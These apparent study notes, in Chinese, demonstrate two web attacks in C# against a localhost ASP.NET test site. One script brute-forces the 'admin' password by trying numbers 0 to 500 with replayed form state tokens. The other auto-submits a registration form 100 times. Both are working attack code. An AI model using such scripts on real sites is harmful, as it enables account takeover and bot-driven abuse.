机器人注册和暴力破解
- 暴力破解
class Program
{
static void Main(string[] args)
{
WebClient wc = new WebClient();
wc.Encoding = Encoding.UTF8;
for (int i = 0; i <= 500; i++)
{
string s = wc.DownloadString("http://localhost:49600/login1.aspx?__VIEWSTATE=%2FwEPDwUKLTg0OTIzODQwNWRkH3XM8DNj6MGK%2B7A25KncXLr%2B3FeBm%2F8U%2Fo8MTX5nQSQ%3D&__EVENTVALIDATION=%2FwEWBALn59ODCALs0bLrBgLs0fbZDAKM54rGBs7JOKT5FWp4l3srap2x0BpMRoduAthfJDhSB9BfmPuH&TextBox1=admin&TextBox2="+i+"&Button1=%E7%99%BB%E5%BD%95");
if (s.Contains("登录成功"))
{
Console.WriteLine("密码是:"+i);
}
}
Console.ReadKey();
}
}
- 机器人注册
namespace WindowsFormsApplication1 { public partial class Form1 : Form { public Form1() { InitializeComponent(); } private void button1_Click(object sender, EventArgs e) { webBrowser1.Document.GetElementById("TextBox1").SetAttribute("Value", "罗俊"); webBrowser1.Document.GetElementById("TextBox2").SetAttribute("Value", "发生大幅"); for (int i = 0; i <= 100; i++) { webBrowser1.Document.GetElementById("Button1").InvokeMember("Click"); } } } }